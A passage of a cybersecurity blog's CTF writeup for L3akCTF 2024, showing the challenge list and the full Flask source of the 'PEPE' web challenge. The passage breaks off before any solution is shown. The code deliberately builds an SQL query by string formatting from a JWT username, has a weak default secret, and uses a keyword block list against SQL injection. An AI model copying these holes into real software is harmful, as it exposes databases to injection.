1<!DOCTYPE html> 2<html lang="en-US"> 3 <head> 4 <meta charset='utf-8'> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1"> 7 <link rel="stylesheet" href="/assets/css/style.css?v=fb4febe6ffe65909c73223ca0e45a363ea3def6b"> 8 <link rel="stylesheet" href="/assets/css/lightgallery.min.css"> 9
9<script src="/assets/js/lightgallery.min.js"></script>
9 10 11 12 <link rel="shortcut icon" type="image/x-icon" href="/images/favicon.ico"> 13 14<!-- Begin Jekyll SEO tag v2.8.0 --> 15<title>CTF - L3akCTF 2024 | Kashmir54</title> 16<meta name="generator" content="Jekyll v3.10.0" /> 17<meta property="og:title" content="CTF - L3akCTF 2024" /> 18<meta name="author" content="Kashmir54" /> 19<meta property="og:locale" content="en_US" /> 20<meta name="description" content="CTF - L3akCTF 2024" /> 21<meta property="og:description" content="CTF - L3akCTF 2024" /> 22<link rel="canonical" href="https://kashmir54.github.io/ctfs/L3akCTF2024/" /> 23<meta property="og:url" content="https://kashmir54.github.io/ctfs/L3akCTF2024/" /> 24<meta property="og:site_name" content="Kashmir54" /> 25<meta property="og:image" content="https://kashmir54.github.io/images/kashmir.png" /> 26<meta property="og:type" content="article" /> 27<meta property="article:published_time" content="2024-05-19T00:00:00+00:00" /> 28<meta name="twitter:card" content="summary_large_image" /> 29<meta property="twitter:image" content="https://kashmir54.github.io/images/kashmir.png" /> 30<meta property="twitter:title" content="CTF - L3akCTF 2024" />
31<script type="application/ld+json"> 32{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"Kashmir54"},"dateModified":"2024-05-19T00:00:00+00:00","datePublished":"2024-05-19T00:00:00+00:00","description":"CTF - L3akCTF 2024","headline":"CTF - L3akCTF 2024","image":"https://kashmir54.github.io/images/kashmir.png","mainEntityOfPage":{"@type":"WebPage","@id":"https://kashmir54.github.io/ctfs/L3akCTF2024/"},"url":"https://kashmir54.github.io/ctfs/L3akCTF2024/"}</script>
32 33<!-- End Jekyll SEO tag --> 34 35 <!-- Google tag (gtag.js) -->
vendor: 68 bytes, lines 35-36
35 36 <script async src="https://www.googletagmanager.com/gtag/js?id=
36G-BWT408TBEN
vendor: 16 bytes, lines 36-37
36"></script> 37
37<script> 38
vendor: 146 bytes, lines 38-42
38window.dataLayer = window.dataLayer || []; 39 function gtag(){dataLayer.push(arguments);} 40 gtag('js', new Date()); 41 42 gtag('config', '
42G-BWT408TBEN
vendor: 8 bytes, lines 42-43
42'); 43
43</script>
43 44 45 </head> 46 47 <body> 48 49 <header> 50 <div class="container"> 51 <a id="a-title" href="/"> 52 <h1>Kashmir54</h1> 53 </a> 54 <h2>Cibersecurity blog. CTFs, writeups, electronics and more!</h2> 55 56 <section id="downloads"> 57 58 <a href="/" class="btn"><span class="icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 40 40" width="15px" height="15px"><path fill="#dbf2ff" d="M3.5 38.5L3.5 13.286 19.998 3.58 36.5 13.286 36.5 38.5z"/><path fill="#7496c4" d="M19.998,4.16L36,13.572V38H4V13.572L19.998,4.16 M19.998,3L3,13v26h34V13L19.998,3L19.998,3z"/><path fill="#b5ddf5" d="M4 34H36V38H4z"/><path fill="#f78f8f" d="M19.998 4.645L1.5 15.955 1.5 12.896 19.998 1.586 38.5 12.896 38.5 15.955z"/><path fill="#c74343" d="M19.998,2.172L38,13.176v1.887L20.519,4.378l-0.522-0.319l-0.522,0.319L2,15.063v-1.887 L19.998,2.172 M19.998,1L1,12.615v4.231L19.998,5.231L39,16.846v-4.231L19.998,1L19.998,1z"/><g><path fill="#ffc49c" d="M14.5 21.5H25.5V38.5H14.5z"/><path fill="#a16a4a" d="M25,22v16H15V22H25 M26,21H14v18h12V21L26,21z"/></g><path fill="#a16a4a" d="M23 30A1 1 0 1 0 23 32A1 1 0 1 0 23 30Z"/></svg></span>Home</a> 59 60 <a href="/flipper/" class="btn btn-youtube"><span class="icon-2"><img src="/images/flipper/flipper.svg" /></span>Flipper Boards</a> 61 62 <a href="/ctfs/" class="btn btn-youtube"><span class="icon-2"><img src="/images/fav.ico" /></span>CTF Writeups</a> 63 64 <a href="https://www.youtube.com/@Kashmir54" class="btn btn-youtube"><span class="icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 48 48" width="19px" height="19px"><path fill="#FF3D00" d="M43.2,33.9c-0.4,2.1-2.1,3.7-4.2,4c-3.3,0.5-8.8,1.1-15,1.1c-6.1,0-11.6-0.6-15-1.1c-2.1-0.3-3.8-1.9-4.2-4C4.4,31.6,4,28.2,4,24c0-4.2,0.4-7.6,0.8-9.9c0.4-2.1,2.1-3.7,4.2-4C12.3,9.6,17.8,9,24,9c6.2,0,11.6,0.6,15,1.1c2.1,0.3,3.8,1.9,4.2,4c0.4,2.3,0.9,5.7,0.9,9.9C44,28.2,43.6,31.6,43.2,33.9z"/><path fill="#FFF" d="M20 31L20 17 32 24z"/></svg></span>YouTube</a> 65 <a href="https://github.com/kashmir54/kashmir54.github.io" class="btn btn-github"><span class="icon"></span>View on GitHub</a> 66 67 </section> 68 </div> 69 </header> 70 71 <div class="container"> 72 <section id="main_content"> 73 <h1 id="l3akctf-2024">L3akCTF 2024</h1> 74 75<p>Welcome to another CTF writeup. I did some CTFs early this year but didnât publish writeups, but here we are, back again. This time I played L3akCTF 2024 in the weekend time. We participated as <a href="https://ctftime.org/team/109689">ISwearGoogledIt</a> with my mates <a href="https://razvioverflow.github.io/">Razvi</a> and <a href="https://albertofdr.github.io/">Bubu</a>. We got on top 20! ð¥ Letâs get started:</p> 76 77<p><br /></p> 78 79<p align="center"> 80 <img src="/images/writeups/L3akCTF2024/banner.png" width="60%" /> 81</p> 82 83<h3 id="web">Web</h3> 84<ul> 85 <li><a href="#pepe---48-solves">PEPE - [48 solves]</a></li> 86 <li><a href="#bbsqli---43-solves">bbsqli - [43 solves]</a></li> 87</ul> 88 89<h3 id="hardware">Hardware</h3> 90<ul> 91 <li><a href="#layout---90-solves">Layout - [90 solves]</a></li> 92 <li><a href="#celestial---28-solves">Celestial - [28 solves]</a></li> 93 <li><a href="#communication-gateway---9-solves">Communication Gateway - [9 solves]</a></li> 94 <li><a href="#exorbitant---12-solves">eXORbitant - [12 solves]</a></li> 95</ul> 96 97<h3 id="osint">OSINT</h3> 98<ul> 99 <li><a href="#geosint-1---229-solves">Geosint-1 - [229 solves]</a></li> 100 <li><a href="#geosint-2---164-solves">Geosint-2 - [164 solves]</a></li> 101 <li><a href="#geosint-3---129-solves">Geosint-3 - [129 solves]</a></li> 102 <li><a href="#geosint-4---84-solves">Geosint-4 - [84 solves]</a></li> 103 <li><a href="#gameplay-1---149-solves">Gameplay-1 - [149 solves]</a></li> 104 <li><a href="#gameplay-2---65-solves">Gameplay-2 - [65 solves]</a></li> 105 <li><a href="#gameplay-3---34-solves">Gameplay-3 - [34 solves]</a></li> 106 <li><a href="#gameplay-4---22-solves">Gameplay-4 - [22 solves]</a></li> 107</ul> 108 109<h3 id="forensic">Forensic</h3> 110<ul> 111 <li><a href="#holdontight---68-solves">HoldOnTight - [68 solves]</a></li> 112</ul> 113 114<p><small><i><a href="https://github.com/kashmir54/md-toc">
114Table of contents generated with md-toc</a></i></small></p> 115 116<hr /> 117 118<p><br /></p> 119 120<h1 id="web-1">Web</h1> 121 122<h2 id="pepe---48-solves">PEPE - [48 solves]</h2> 123<p>492 124web 125Can you bypass my filters ?</p> 126 127<p><em>Authors: S1mple & Achux21</em></p> 128 129<p>http://45.129.40.107:9669/</p> 130 131<p>We have a login-register-dashboard app:</p> 132 133<p align="center"> 134 <img src="/images/writeups/L3akCTF2024/web_2.png" width="70%" /> 135</p> 136 137<p>And the following app.py code:</p> 138 139<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3 140</span><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">make_response</span><span class="p">,</span> <span class="n">redirect</span> 141<span class="kn">import</span> <span class="nn">sqlite3</span><span class="p">,</span> <span class="n">jwt</span><span class="p">,</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">os</span> 142 143<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">,</span> <span class="n">template_folder</span><span class="o">=</span><span class="s">'./static'</span><span class="p">)</span> 144 145<span class="n">secret</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'SECRET'</span><span class="p">,</span> <span class="s">'secret'</span><span class="p">)</span> 146 147<span class="n">flag</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'FLAG'</span><span class="p">,</span> <span class="s">'L3AK{this_is_a_fake_flag}'</span><span class="p">)</span> 148 149<span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"challenge.db"</span><span class="p">)</span> 150<span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 151 152<span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL, password TEXT NOT NULL, fortune TEXT NOT NULL);"</span><span class="p">)</span> 153 154<span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"CREATE TABLE IF NOT EXISTS flag (flag TEXT);"</span><span class="p">)</span> 155 156<span class="k">if</span> <span class="ow">not</span> <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"SELECT * FROM flag;"</span><span class="p">).</span><span class="n">fetchone</span><span class="p">():</span> 157 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">"INSERT INTO flag (flag) VALUES ('</span><span class="si">{</span><span class="n">flag</span><span class="si">}</span><span class="s">');"</span><span class="p">)</span> 158 159<span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span> 160<span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 161 162<span class="k">def</span> <span class="nf">create_jwt</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">alg</span><span class="p">):</span> 163 <span class="n">payload</span> <span class="o">=</span><span class="p">{</span>
164 <span class="s">'username'</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span> 165 <span class="s">'password'</span><span class="p">:</span> <span class="n">password</span><span class="p">,</span> 166 <span class="s">'exp'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">.</span><span class="n">utcnow</span><span class="p">()</span> <span class="o">+</span> <span class="n">datetime</span><span class="p">.</span><span class="n">timedelta</span><span class="p">(</span><span class="n">seconds</span><span class="o">=</span><span class="mi">6000</span><span class="p">)</span> 167 <span class="p">}</span> 168 <span class="n">token</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">secret</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="n">alg</span><span class="p">)</span> 169 <span class="k">return</span> <span class="n">token</span> 170 171<span class="k">def</span> <span class="nf">verify_jwt</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">alg</span><span class="p">):</span> 172 <span class="k">try</span><span class="p">:</span> 173 <span class="n">payload</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">
173decode</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">secret</span><span class="p">,</span> <span class="n">algorithms</span><span class="o">=</span><span class="n">alg</span><span class="p">)</span> 174 <span class="k">return</span> <span class="n">payload</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span> 175 <span class="k">except</span> <span class="n">jwt</span><span class="p">.</span><span class="n">ExpiredSignatureError</span><span class="p">:</span> 176 <span class="k">return</span> <span class="s">'Token expired'</span> 177 <span class="k">except</span> <span class="n">jwt</span><span class="p">.</span><span class="n">InvalidTokenError</span><span class="p">:</span> 178 <span class="k">return</span> <span class="s">'Invalid token'</span> 179 180 181<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span> 182<span class="k">def</span> <span class="nf">index</span><span class="p">():</span> 183 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'index.html'</span><span class="p">)</span> 184 185<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/signup'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span> 186<span class="k">def</span> <span class="nf">signup</span><span class="p">():</span> 187 <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span> <span class="ow">and</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">):</span> 188 <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span> 189 <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">)</span> 190 191 <span class="k">if</span> <span class="ow">not</span> <span class="n">username</span><span class="p">.</span><span class="n">isalnum</span><span class="p">():</span> 192 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'signup.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username can only contain alphanumeric characters'</span><span class="p">)</span> 193 194 <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o"><</span> <span class="mi">3</span><span class="p">:</span> 195 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username must be at least 3 characters long'</span><span class="p">)</span> 196 <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">></span> <span class="mi">20</span><span class="p">:</span> 197 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username must be at most 20 characters long'</span><span class="p">)</span>
198 <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="o"><</span> <span class="mi">8</span><span class="p">:</span> 199 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Password must be at least 8 characters long'</span><span class="p">)</span> 200 <span class="k">if</span> <span class="ow">not</span> <span class="n">username</span><span class="p">.</span><span class="n">isalnum</span><span class="p">():</span> 201 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username can only contain alphanumeric characters'</span><span class="p">)</span> 202 203 <span class="n">fortune</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">popen</span><span class="p">(</span><span class="s">'fortune'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span> 204 <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"challenge.db"</span><span class="p">)</span> 205 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 206 <span class="n">query</span> <span class="o">=</span> <span class="s">"SELECT * FROM users WHERE username = ?;"</span> 207 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,))</span> 208 <span class="k">if</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">():</span> 209 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'signup.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'User already exists'</span><span class="p">)</span> 210 211 <span class="n">query</span> <span class="o">=</span> <span class="s">"INSERT INTO users (username, password, fortune) VALUES (?, ?, ?);"</span> 212 213 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">fortune</span><span class="p">))</span> 214 <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span> 215 <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 216 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'User created successfully'</span><span class="p">)</span> 217 <span class="k">else</span><span class="p">:</span> 218 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'signup.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Please provide username and password'</span><span class="p">)</span> 219 220<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/login'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span> 221<span class="k">def</span> <span class="nf">login</span><span class="p">():</span> 222 <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'GET'</span><span class="p">:</span>
223 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">)</span> 224 <span class="k">elif</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span> <span class="ow">and</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">)</span> <span class="ow">and</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span> 225 226 <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span> 227 <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">)</span> 228 <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o"><</span> <span class="mi">3</span><span class="p">:</span> 229 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username must be at least 3 characters long'</span><span class="p">)</span> 230 <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">></span> <span class="mi">20</span><span class="p">:</span> 231 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username must be at most 20 characters long'</span><span class="p">)</span> 232 <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="o"><</span> <span class="mi">8</span><span class="p">:</span> 233 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Password must be at least 8 characters long'</span><span class="p">)</span> 234 <span class="k">if</span> <span class="ow">not</span> <span class="n">username</span><span class="p">.</span><span class="n">isalnum</span><span class="p">():</span> 235 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username can only contain alphanumeric characters'</span><span class="p">)</span> 236 237 238 <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"challenge.db"</span><span class="p">)</span> 239 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 240 <span class="n">query</span> <span class="o">=</span> <span class="s">"SELECT * FROM users WHERE username = ? AND password = ?;"</span> 241 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">))</span>
242 <span class="k">if</span> <span class="ow">not</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">():</span> 243 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span> 244 <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 245 246 <span class="n">token</span> <span class="o">=</span> <span class="n">create_jwt</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="s">'HS256'</span><span class="p">)</span> 247 <span class="n">r</span> <span class="o">=</span> <span class="n">make_response</span><span class="p">(</span><span class="n">redirect</span><span class="p">(</span><span class="s">'/dashboard'</span><span class="p">))</span> 248 <span class="n">r</span><span class="p">.</span><span class="n">set_cookie</span><span class="p">(</span><span class="s">'token'</span><span class="p">,</span> <span class="n">token</span><span class="p">)</span> 249 <span class="k">return</span> <span class="n">r</span> 250 251 <span class="k">else</span><span class="p">:</span> 252 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Please provide username and password'</span><span class="p">)</span> 253 254<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/dashboard'</span><span class="p">)</span> 255<span class="k">def</span> <span class="nf">dashboard</span><span class="p">():</span> 256 257 <span class="n">token</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">cookies</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'token'</span><span class="p">)</span> 258 <span class="k">if</span> <span class="ow">not</span> <span class="n">token</span><span class="p">:</span> 259 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Please login to access this page'</span><span class="p">)</span> 260 <span class="c1"># my code 261</span> <span class="n">decoded_token</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">
261decode</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">secret</span><span class="p">,</span> <span class="n">algorithms</span><span class="o">=</span><span class="p">[</span><span class="s">'HS256'</span><span class="p">])</span> 262 263 <span class="n">username</span> <span class="o">=</span> <span class="n">decoded_token</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span> 264 <span class="n">username</span><span class="o">=</span><span class="n">username</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span> 265 <span class="n">filters</span><span class="o">=</span><span class="p">[</span><span class="s">">"</span><span class="p">,</span> <span class="s">"+"</span><span class="p">,</span><span class="s">"="</span><span class="p">,</span> <span class="s">"<"</span><span class="p">,</span><span class="s">"//"</span><span class="p">,</span> <span class="s">"|"</span><span class="p">,</span><span class="s">"'1"</span><span class="p">,</span> <span class="s">" 1"</span><span class="p">,</span> <span class="s">" true"</span><span class="p">,</span> <span class="s">"'true"</span><span class="p">,</span> <span class="s">" or"</span><span class="p">,</span> <span class="s">"'or"</span><span class="p">,</span> <span class="s">"/or"</span><span class="p">,</span><span class="s">";"</span><span class="p">,</span> <span class="s">" "</span><span class="p">,</span> <span class="s">" "</span> <span class="p">,</span><span class="s">" and"</span><span class="p">,</span> <span class="s">"'and"</span><span class="p">,</span> <span class="s">"/and"</span><span class="p">,</span> <span class="s">"'like"</span><span class="p">,</span> <span class="s">" like"</span><span class="p">,</span> <span class="s">"%00"</span><span class="p">,</span> <span class="s">"null"</span><span class="p">,</span> <span class="s">"admin'"</span><span class="p">,</span><span class="s">"/like"</span><span class="p">,</span> <span class="s">"'where"</span><span class="p">,</span> <span class="s">" where"</span><span class="p">,</span> <span class="s">"/where"</span><span class="p">]</span> 266 <span class="n">passed</span> <span class="o">=</span> <span class="nb">next</span><span class="p">(</span> 267 <span class="p">(</span> 268 <span class="n">i</span> 269 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">filters</span> 270 <span class="k">if</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">username</span> 271 <span class="p">),</span> 272 <span class="bp">None</span><span class="p">,</span> 273 <span class="p">)</span> 274 275 <span class="k">if</span> <span class="n">passed</span><span class="p">:</span> 276 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span> 277 278 <span class="k">if</span> <span class="ow">not</span> <span class="n">token</span><span class="p">:</span> 279 <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/login'</span><span class="p">)</span> 280 <span class="n">username</span> <span class="o">=</span> <span class="n">verify_jwt</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="s">'HS256'</span><span class="p">)</span> 281 <span class="k">if</span> <span class="n">username</span><span class="p">:</span> 282 <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"challenge.db"</span><span class="p">)</span> 283 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
284 <span class="n">query</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"SELECT fortune FROM users WHERE username='</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">';"</span> 285 <span class="n">result</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">)</span> 286 <span class="n">row</span> <span class="o">=</span> <span class="n">result</span><span class="p">.</span><span class="n">fetchone</span><span class="p">()</span> 287 <span class="k">if</span> <span class="n">row</span><span class="p">:</span> 288 <span class="n">query</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">replace</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">n"</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"('"</span><span class="p">,</span> <span class="s">""</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"',)"</span><span class="p">,</span> <span class="s">""</span><span class="p">)</span> 289 <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 290 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'dashboard.html'</span><span class="p">,</span> <span class="n">fortunes</span><span class="o">=</span><span class="n">query</span><span class="p">)</span> 291 <span class="k">else</span><span class="p">:</span> 292 <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 293 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span> 294 <span class="k">else</span><span class="p">:</span> 295 <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/login'</span><span class="p">)</span> 296 297<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/logout'</span><span class="p">)</span> 298<span class="k">def</span> <span class="nf">logout</span><span class="p">():</span> 299 <span class="n">r</span> <span class="o">=</span> <span class="n">make_response</span><span class="p">(</span><span class="n">redirect</span><span class="p">(</span><span class="s">'/login'</span><span class="p">))</span> 300 <span class="n">r</span><span class="p">.</span><span class="n">set_cookie</span><span class="p">(</span><span class="s">'token'</span><span class="p">,</span> <span class="s">''</span><span class="p">,</span> <span class="n">expires</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span> 301 <span class="k">return</span> <span class="n">r</span> 302 303<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span> 304 <span class="n">app</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'0.0.0.0'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">5000</span><span class="p">)</span> 305 306</code></pre></div></div> 307<p><br /></p> 308 309<p>We can highlight the following parts as relevant for the challenge:</p> 310 311<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 312<span 